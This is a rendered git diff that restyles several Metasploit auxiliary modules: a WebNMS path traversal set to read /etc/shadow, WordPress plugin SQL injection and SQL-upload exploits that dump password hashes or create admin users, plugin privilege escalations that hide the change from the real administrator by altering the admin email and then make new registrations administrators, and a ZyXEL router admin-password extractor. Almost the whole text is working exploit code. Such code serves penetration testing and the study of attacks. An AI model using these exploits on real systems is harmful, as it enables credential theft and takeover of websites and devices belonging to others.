||||
OptString.new('FILEPATH', [ false, "The filepath of the file you want to download", '/etc/shadow']),
|
||||
OptString.new('TRAVERSAL_PATH', [ false, "The traversal path to the target file (if you know it)"]),
|
||||
OptString.new('TARGETURI', [ true, 'WebNMS path', '/']),
|
||||
OptString.new('FILEPATH', [ false, 'The filepath of the file you want to download', '/etc/shadow']),
|
||||
OptString.new('TRAVERSAL_PATH', [ false, 'The traversal path to the target file (if you know it)']),
|
||||
OptInt.new('MAX_TRAVERSAL', [ false, "Maximum traversal path depth (if you don't know the traversal path)", 10])
|
||||
],
|
||||
self.class
|
||||
|
@ -85,19 +83,19 @@ Windows and Linux.
|
|||
print_good("File download successful, file saved in #{path}")
|
||||
end
|
||||
else
|
||||
print_error("Module Failed: Invalid Filename")
|
||||
print_error('Module Failed: Invalid Filename')
|
||||
end
|
||||
end
|
||||
|
||||
def get_file(path, depth)
|
||||
while depth > 0
|
||||
file_name = "../" * depth + path
|
||||
file_name = '../' * depth + path
|
||||
vprint_status("Attempting to get file: #{file_name}")
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => { 'fileName' => file_name }
|
||||
}
|
||||
)
|
||||
|
@ -109,9 +107,10 @@ Windows and Linux.
|
|||
if res &&
|
||||
res.code == 200 &&
|
||||
!res.body.to_s.empty? &&
|
||||
(res.body.to_s.include? "File Found")
|
||||
(res.body.to_s.include? 'File Found')
|
||||
return res.body.to_s
|
||||
end
|
||||
|
||||
depth -= 1
|
||||
end
|
||||
end
|
||||
|
|
|
@ -8,28 +8,29 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'WordPress custom-contact-forms Plugin SQL Upload',
|
||||
'Description' => %q{
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'WordPress custom-contact-forms Plugin SQL Upload',
|
||||
'Description' => %q{
|
||||
The WordPress custom-contact-forms plugin <= 5.1.0.3 allows unauthenticated users to download
|
||||
a SQL dump of the plugins database tables. It's also possible to upload files containing
|
||||
SQL statements which will be executed. The module first tries to extract the WordPress
|
||||
table prefix from the dump and then attempts to create a new admin user.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
},
|
||||
'Author' => [
|
||||
'Marc-Alexandre Montpas', # Vulnerability discovery
|
||||
'Christian Mehlmauer' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'URL', 'http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html' ],
|
||||
[ 'URL', 'https://plugins.trac.wordpress.org/changeset?old_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.3&old=997569&new_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.4&new=997569&sfp_email=&sfph_mail=' ],
|
||||
[ 'WPVDB', '7542' ]
|
||||
],
|
||||
'DisclosureDate' => '2014-08-07'
|
||||
))
|
||||
'DisclosureDate' => '2014-08-07'
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def get_sql(table_prefix, username, password)
|
||||
|
@ -43,10 +44,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def get_table_prefix
|
||||
res = send_request_cgi({
|
||||
'uri' => wordpress_url_admin_post,
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_post,
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'ccf_export' => "1"
|
||||
'ccf_export' => '1'
|
||||
}
|
||||
})
|
||||
return nil if res.nil? || res.code != 302 || res.headers['Location'] !~ /\.sql$/
|
||||
|
@ -66,10 +67,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
username = Rex::Text.rand_text_alpha(10)
|
||||
password = Rex::Text.rand_text_alpha(20)
|
||||
|
||||
print_status("Trying to get table_prefix")
|
||||
print_status('Trying to get table_prefix')
|
||||
table_prefix = get_table_prefix
|
||||
if table_prefix.nil?
|
||||
print_error("Unable to get table_prefix")
|
||||
print_error('Unable to get table_prefix')
|
||||
return
|
||||
else
|
||||
print_status("got table_prefix '#{table_prefix}'")
|
||||
|
@ -82,10 +83,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
print_status("Inserting user #{username} with password #{password}")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_post,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => post_data
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_post,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => post_data
|
||||
)
|
||||
|
||||
if res.nil? || res.code != 302 || res.headers['Location'] != 'options-general.php?page=custom-contact-forms'
|
||||
|
@ -100,7 +101,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_good("User #{username} with password #{password} successfully created")
|
||||
store_valid_credential(user: username, private: password, proof: cookie)
|
||||
else
|
||||
print_error("User creation failed")
|
||||
print_error('User creation failed')
|
||||
return
|
||||
end
|
||||
end
|
||||
|
|
|
@ -7,38 +7,39 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress WP EasyCart Plugin Privilege Escalation',
|
||||
'Description' => %q{
|
||||
The WordPress WP EasyCart plugin from version 1.1.30 to 3.0.20 allows authenticated
|
||||
users of any user level to set any system option via a lack of validation in the
|
||||
ec_ajax_update_option and ec_ajax_clear_all_taxrates functions located in
|
||||
/inc/admin/admin_ajax_functions.php. The module first changes the admin e-mail address
|
||||
to prevent any notifications being sent to the actual administrator during the attack,
|
||||
re-enables user registration in case it has been disabled and sets the default role to
|
||||
be administrator. This will allow for the user to create a new account with admin
|
||||
privileges via the default registration page found at /wp-login.php?action=register.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'WordPress WP EasyCart Plugin Privilege Escalation',
|
||||
'Description' => %q{
|
||||
The WordPress WP EasyCart plugin from version 1.1.30 to 3.0.20 allows authenticated
|
||||
users of any user level to set any system option via a lack of validation in the
|
||||
ec_ajax_update_option and ec_ajax_clear_all_taxrates functions located in
|
||||
/inc/admin/admin_ajax_functions.php. The module first changes the admin e-mail address
|
||||
to prevent any notifications being sent to the actual administrator during the attack,
|
||||
re-enables user registration in case it has been disabled and sets the default role to
|
||||
be administrator. This will allow for the user to create a new account with admin
|
||||
privileges via the default registration page found at /wp-login.php?action=register.
|
||||
},
|
||||
'Author' => [
|
||||
'rastating' # Discovery and Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2015-2673'],
|
||||
['WPVDB', '7808'],
|
||||
['URL', 'https://rastating.github.io/wp-easycart-privilege-escalation-information-disclosure/']
|
||||
],
|
||||
'DisclosureDate' => '2015-02-25'
|
||||
))
|
||||
'DisclosureDate' => '2015-02-25'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
|
||||
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -55,15 +56,15 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def set_wp_option(name, value, cookie)
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_ajax,
|
||||
'vars_get' => { 'action' => 'ec_ajax_update_option' },
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_ajax,
|
||||
'vars_get' => { 'action' => 'ec_ajax_update_option' },
|
||||
'vars_post' => { 'option_name' => name, 'option_value' => value },
|
||||
'cookie' => cookie
|
||||
'cookie' => cookie
|
||||
)
|
||||
|
||||
if res.nil?
|
||||
vprint_error("No response from the target.")
|
||||
vprint_error('No response from the target.')
|
||||
elsif res.code != 200
|
||||
vprint_warning("Server responded with status code #{res.code}")
|
||||
end
|
||||
|
@ -75,33 +76,33 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_status("Authenticating with WordPress using #{username}:#{password}...")
|
||||
cookie = wordpress_login(username, password)
|
||||
if cookie.nil?
|
||||
print_error("Failed to authenticate with WordPress")
|
||||
print_error('Failed to authenticate with WordPress')
|
||||
return
|
||||
end
|
||||
store_valid_credential(user: username, private: password, proof: cookie)
|
||||
print_good("Authenticated with WordPress")
|
||||
print_good('Authenticated with WordPress')
|
||||
|
||||
new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
|
||||
print_status("Changing admin e-mail address to #{new_email}...")
|
||||
if set_wp_option('admin_email', new_email, cookie).nil?
|
||||
print_error("Failed to change the admin e-mail address")
|
||||
print_error('Failed to change the admin e-mail address')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Enabling user registrations...")
|
||||
print_status('Enabling user registrations...')
|
||||
if set_wp_option('users_can_register', 1, cookie).nil?
|
||||
print_error("Failed to enable user registrations")
|
||||
print_error('Failed to enable user registrations')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Setting the default user role...")
|
||||
print_status('Setting the default user role...')
|
||||
if set_wp_option('default_role', 'administrator', cookie).nil?
|
||||
print_error("Failed to set the default user role")
|
||||
print_error('Failed to set the default user role')
|
||||
return
|
||||
end
|
||||
|
||||
register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
|
||||
print_good("Privilege escalation complete")
|
||||
print_good('Privilege escalation complete')
|
||||
print_good("Create a new account at #{register_url} to gain admin access.")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -7,40 +7,39 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress WP GDPR Compliance Plugin Privilege Escalation',
|
||||
'Description' => %q{
|
||||
The Wordpress GDPR Compliance plugin <= v1.4.2 allows unauthenticated users to set
|
||||
wordpress administration options by overwriting values within the database.
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'WordPress WP GDPR Compliance Plugin Privilege Escalation',
|
||||
'Description' => %q{
|
||||
The Wordpress GDPR Compliance plugin <= v1.4.2 allows unauthenticated users to set
|
||||
wordpress administration options by overwriting values within the database.
|
||||
|
||||
The vulnerability is present in WordPress’s admin-ajax.php, which allows unauthorized
|
||||
users to trigger handlers and make configuration changes because of a failure to do
|
||||
capability checks when executing the 'save_setting' internal action.
|
||||
The vulnerability is present in WordPress’s admin-ajax.php, which allows unauthorized
|
||||
users to trigger handlers and make configuration changes because of a failure to do
|
||||
capability checks when executing the 'save_setting' internal action.
|
||||
|
||||
WARNING: The module sets Wordpress configuration options without reading their current
|
||||
values and restoring them later.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
WARNING: The module sets Wordpress configuration options without reading their current
|
||||
values and restoring them later.
|
||||
},
|
||||
'Author' => [
|
||||
'Mikey Veenstra (WordFence)', # Vulnerability discovery
|
||||
'Thomas Labadie' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['URL', 'https://www.wordfence.com/blog/2018/11/privilege-escalation-flaw-in-wp-gdpr-compliance-plugin-exploited-in-the-wild/'],
|
||||
['CVE', '2018-19207'],
|
||||
['WPVDB', '9144']
|
||||
],
|
||||
'Notes' =>
|
||||
{
|
||||
'Notes' => {
|
||||
'Stability' => [],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => [CONFIG_CHANGES]
|
||||
},
|
||||
'DisclosureDate' => '2018-11-08'
|
||||
))
|
||||
'DisclosureDate' => '2018-11-08'
|
||||
)
|
||||
)
|
||||
|
||||
register_options [
|
||||
OptString.new('EMAIL', [true, 'Email for registration', nil]),
|
||||
|
@ -58,14 +57,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def set_wp_option(name, value, ajax_security)
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_ajax,
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_ajax,
|
||||
'vars_post' => {
|
||||
'action' => 'wpgdprc_process_action',
|
||||
'security' => ajax_security,
|
||||
'data' => "{\"type\":\"save_setting\",\"append\":false,\"option\":\"#{name}\",\"value\":\"#{value}\"}"
|
||||
}
|
||||
)
|
||||
}
|
||||
)
|
||||
|
||||
res && res.code == 200
|
||||
end
|
||||
|
@ -73,8 +72,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def run
|
||||
print_status('Getting security token from host...')
|
||||
wp_home_res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => target_uri.path
|
||||
'method' => 'GET',
|
||||
'uri' => target_uri.path
|
||||
)
|
||||
|
||||
unless wp_home_res && wp_home_res.code == 200
|
||||
|
@ -99,13 +98,13 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
print_warning('Setting the default user role type to administrator...')
|
||||
unless set_wp_option('default_role', 'administrator', ajax_security)
|
||||
print_error("Failed to set the default user role")
|
||||
print_error('Failed to set the default user role')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Registering #{datastore['USER']} with email #{datastore['EMAIL']}")
|
||||
unless (datastore['EMAIL'] =~ URI::MailTo::EMAIL_REGEXP) && wordpress_register(datastore['USER'], datastore['EMAIL'])
|
||||
print_error("Failed to register user")
|
||||
print_error('Failed to register user')
|
||||
return
|
||||
end
|
||||
|
||||
|
|
|
@ -6,10 +6,10 @@
|
|||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
|
||||
def initialize(info = {})
|
||||
def initialize(_info = {})
|
||||
super(
|
||||
'Name' => 'WordPress Google Maps Plugin SQL Injection',
|
||||
'Description' => %q{
|
||||
'Name' => 'WordPress Google Maps Plugin SQL Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a SQL injection vulnerability in a REST endpoint
|
||||
registered by the WordPress plugin wp-google-maps between 7.11.00 and
|
||||
7.11.17 (included).
|
||||
|
@ -17,42 +17,42 @@ class MetasploitModule < Msf::Auxiliary
|
|||
As the table prefix can be changed by administrators, set DB_PREFIX
|
||||
accordingly.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Thomas Chauchefoin (Synacktiv)', # Vulnerability discovery, Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2019-10692'],
|
||||
['WPVDB', '9249']
|
||||
],
|
||||
'DisclosureDate' => '2019-04-02'
|
||||
'Author' => [
|
||||
'Thomas Chauchefoin (Synacktiv)', # Vulnerability discovery, Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2019-10692'],
|
||||
['WPVDB', '9249']
|
||||
],
|
||||
'DisclosureDate' => '2019-04-02'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DB_PREFIX', [true, 'WordPress table prefix', 'wp_'])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def send_sql_request(sql_query)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'vars_get' => {
|
||||
'rest_route' => '/wpgmza/v1/markers',
|
||||
'filter' => '{}',
|
||||
'fields' => "#{sql_query}-- -",
|
||||
'fields' => "#{sql_query}-- -"
|
||||
}
|
||||
)
|
||||
|
||||
return nil if res.nil? || res.code != 200 || res.body.nil?
|
||||
|
||||
res.body
|
||||
end
|
||||
|
||||
def check
|
||||
mynum = "#{Rex::Text.rand_text_numeric(8..20)}"
|
||||
mynum = Rex::Text.rand_text_numeric(8..20).to_s
|
||||
body = send_sql_request(mynum)
|
||||
return Exploit::CheckCode::Unknown if body.nil?
|
||||
return Exploit::CheckCode::Vulnerable if body.include?(mynum)
|
||||
|
@ -75,14 +75,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
if body.empty?
|
||||
print_error("#{peer} - Failed to retrieve the table #{datastore['DB_PREFIX']}users")
|
||||
else
|
||||
loot = store_loot("wp_google_maps.json","application/json", rhost, body.to_s)
|
||||
loot = store_loot('wp_google_maps.json', 'application/json', rhost, body.to_s)
|
||||
print_good("Credentials saved in: #{loot}")
|
||||
end
|
||||
|
||||
body.each do |user|
|
||||
print_good("#{peer} - Found #{user['user_login']} #{user['user_pass']} #{user['user_email']}")
|
||||
connection_details = {
|
||||
module_fullname: self.fullname,
|
||||
module_fullname: fullname,
|
||||
username: user['user_login'],
|
||||
private_data: user['user_pass'],
|
||||
private_type: :nonreplayable_hash,
|
||||
|
|
|
@ -7,32 +7,33 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress Symposium Plugin SQL Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a SQL injection vulnerability in the WP Symposium plugin
|
||||
before 15.8 for WordPress, which allows remote attackers to extract credentials
|
||||
via the size parameter to get_album_item.php.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'PizzaHatHacker', # Vulnerability discovery
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'WordPress Symposium Plugin SQL Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a SQL injection vulnerability in the WP Symposium plugin
|
||||
before 15.8 for WordPress, which allows remote attackers to extract credentials
|
||||
via the size parameter to get_album_item.php.
|
||||
},
|
||||
'Author' => [
|
||||
'PizzaHatHacker', # Vulnerability discovery
|
||||
'Matteo Cantoni <goony[at]nothink.org>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2015-6522'],
|
||||
['EDB', '37824']
|
||||
],
|
||||
'DisclosureDate' => '2015-08-18'
|
||||
))
|
||||
'DisclosureDate' => '2015-08-18'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URI_PLUGIN', [true, 'The WordPress Symposium Plugin URI', 'wp-symposium'])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -48,15 +49,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri_complete,
|
||||
'method' => 'GET',
|
||||
'uri' => uri_complete,
|
||||
'vars_get' => { 'size' => sql_query }
|
||||
)
|
||||
|
||||
return nil if res.nil? || res.code != 200 || res.body.nil?
|
||||
|
||||
res.body
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
|
||||
vprint_error("#{peer} - The host was unreachable!")
|
||||
return nil
|
||||
|
@ -83,31 +83,31 @@ class MetasploitModule < Msf::Auxiliary
|
|||
vprint_status("#{peer} - Last user-id is '#{last_id}'")
|
||||
end
|
||||
|
||||
credentials = ""
|
||||
credentials = ''
|
||||
|
||||
vprint_status("#{peer} - Trying to retrieve the users informations...")
|
||||
for user_id in first_id..last_id
|
||||
separator = Rex::Text.rand_text_numeric(7,bad='0')
|
||||
separator = Rex::Text.rand_text_numeric(7, bad = '0')
|
||||
user_info = send_sql_request("concat_ws(#{separator},user_login,user_pass,user_email) from wp_users where id = #{user_id} ; --")
|
||||
|
||||
if user_info.nil?
|
||||
vprint_error("#{peer} - Failed to retrieve the users info")
|
||||
return
|
||||
else
|
||||
values = user_info.split("#{separator}")
|
||||
values = user_info.split(separator.to_s)
|
||||
|
||||
user_login = values[0]
|
||||
user_pass = values[1]
|
||||
user_pass = values[1]
|
||||
user_email = values[2]
|
||||
|
||||
print_good("#{peer} - #{sprintf("%-15s %-34s %s", user_login, user_pass, user_email)}")
|
||||
print_good("#{peer} - #{sprintf('%-15s %-34s %s', user_login, user_pass, user_email)}")
|
||||
connection_details = {
|
||||
module_fullname: self.fullname,
|
||||
username: user_login,
|
||||
private_data: user_pass,
|
||||
private_type: :nonreplayable_hash,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: user_email
|
||||
module_fullname: fullname,
|
||||
username: user_login,
|
||||
private_data: user_pass,
|
||||
private_type: :nonreplayable_hash,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: user_email
|
||||
}.merge(service_details)
|
||||
create_credential(connection_details)
|
||||
|
||||
|
@ -116,7 +116,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
unless credentials.empty?
|
||||
loot = store_loot("wp_symposium.http","text/plain", rhost, credentials)
|
||||
loot = store_loot('wp_symposium.http', 'text/plain', rhost, credentials)
|
||||
vprint_good("Credentials saved in: #{loot}")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -7,10 +7,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress WPLMS Theme Privilege Escalation',
|
||||
'Description' => %q{
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'WordPress WPLMS Theme Privilege Escalation',
|
||||
'Description' => %q{
|
||||
The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows an
|
||||
authenticated user of any user level to set any system option due to a lack of
|
||||
validation in the import_data function of /includes/func.php.
|
||||
|
@ -21,25 +22,25 @@ class MetasploitModule < Msf::Auxiliary
|
|||
role to be administrator. This will allow for the user to create a new account
|
||||
with admin privileges via the default registration page found at
|
||||
/wp-login.php?action=register.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Evex', # Vulnerability discovery
|
||||
},
|
||||
'Author' => [
|
||||
'Evex', # Vulnerability discovery
|
||||
'rastating' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['WPVDB', '7785']
|
||||
],
|
||||
'DisclosureDate' => '2015-02-09'
|
||||
))
|
||||
'DisclosureDate' => '2015-02-09'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
|
||||
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -77,17 +78,17 @@ class MetasploitModule < Msf::Auxiliary
|
|||
vprint_error("Failed to serialize #{value}.")
|
||||
else
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_ajax,
|
||||
'vars_get' => { 'action' => 'import_data' },
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_ajax,
|
||||
'vars_get' => { 'action' => 'import_data' },
|
||||
'vars_post' => { 'name' => name, 'code' => encoded_value },
|
||||
'cookie' => cookie
|
||||
'cookie' => cookie
|
||||
)
|
||||
|
||||
if res.nil?
|
||||
vprint_error("No response from the target.")
|
||||
else
|
||||
vprint_warning("Server responded with status code #{res.code}") if res.code != 200
|
||||
vprint_error('No response from the target.')
|
||||
elsif res.code != 200
|
||||
vprint_warning("Server responded with status code #{res.code}")
|
||||
end
|
||||
|
||||
return res
|
||||
|
@ -99,7 +100,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
cookie = wordpress_login(username, password)
|
||||
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
|
||||
store_valid_credential(user: username, private: password, proof: cookie)
|
||||
print_good("Authenticated with WordPress")
|
||||
print_good('Authenticated with WordPress')
|
||||
|
||||
new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
|
||||
print_status("Changing admin e-mail address to #{new_email}...")
|
||||
|
@ -107,18 +108,18 @@ class MetasploitModule < Msf::Auxiliary
|
|||
fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address')
|
||||
end
|
||||
|
||||
print_status("Enabling user registrations...")
|
||||
print_status('Enabling user registrations...')
|
||||
if set_wp_option('users_can_register', 1, cookie).nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations')
|
||||
end
|
||||
|
||||
print_status("Setting the default user role...")
|
||||
print_status('Setting the default user role...')
|
||||
if set_wp_option('default_role', 'administrator', cookie).nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to set the default user role')
|
||||
end
|
||||
|
||||
register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
|
||||
print_good("Privilege escalation complete")
|
||||
print_good('Privilege escalation complete')
|
||||
print_good("Create a new account at #{register_url} to gain admin access.")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -9,7 +9,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'ZyXEL GS1510-16 Password Extractor',
|
||||
'Name' => 'ZyXEL GS1510-16 Password Extractor',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in ZyXEL GS1510-16 routers
|
||||
to extract the admin password. Due to a lack of authentication on the
|
||||
|
@ -18,55 +18,53 @@ class MetasploitModule < Msf::Auxiliary
|
|||
has reached end of life for support from the manufacturer, so it is
|
||||
unlikely this problem will be addressed.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://github.com/rapid7/metasploit-framework/pull/2709' ]
|
||||
],
|
||||
'Author' => [
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/rapid7/metasploit-framework/pull/2709' ]
|
||||
],
|
||||
'Author' => [
|
||||
'Daniel Manser', # @antsygeek
|
||||
'Sven Vetsch' # @disenchant_ch
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
begin
|
||||
print_status("Trying to get 'admin' user password ...")
|
||||
res = send_request_cgi({
|
||||
'uri' => "/webctrl.cgi",
|
||||
'method' => 'POST',
|
||||
'uri' => '/webctrl.cgi',
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'username' => "admin",
|
||||
'password' => "#{Rex::Text.rand_text_alphanumeric(rand(4)+4)}",
|
||||
'action' => "cgi_login"
|
||||
'username' => 'admin',
|
||||
'password' => Rex::Text.rand_text_alphanumeric(rand(4..7)).to_s,
|
||||
'action' => 'cgi_login'
|
||||
}
|
||||
}, 10)
|
||||
|
||||
if (res && res.code == 200)
|
||||
print_status("Got response from router.")
|
||||
print_status('Got response from router.')
|
||||
else
|
||||
print_error('Unexpected HTTP response code.')
|
||||
return
|
||||
end
|
||||
|
||||
admin_password = ""
|
||||
admin_password_matches = res.body.match(/show_user\(1,"admin","(.+)"/);
|
||||
admin_password = ''
|
||||
admin_password_matches = res.body.match(/show_user\(1,"admin","(.+)"/)
|
||||
|
||||
if not admin_password_matches
|
||||
if !admin_password_matches
|
||||
print_error('Could not obtain admin password')
|
||||
return
|
||||
else
|
||||
admin_password = admin_password_matches[1];
|
||||
admin_password = admin_password_matches[1]
|
||||
print_good("Password for user 'admin' is: #{admin_password}")
|
||||
|
||||
connection_details = {
|
||||
module_fullname: self.fullname,
|
||||
username: 'admin',
|
||||
private_data: admin_password,
|
||||
private_type: :password,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: res.body
|
||||
module_fullname: fullname,
|
||||
username: 'admin',
|
||||
private_data: admin_password,
|
||||
private_type: :password,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: res.body
|
||||
}.merge(service_details)
|
||||
create_credential_and_login(connection_details) # makes service_name more consistent
|
||||
end
|
||||
|
@ -74,5 +72,4 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_error("#{rhost}:#{rport} - Failed to connect")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue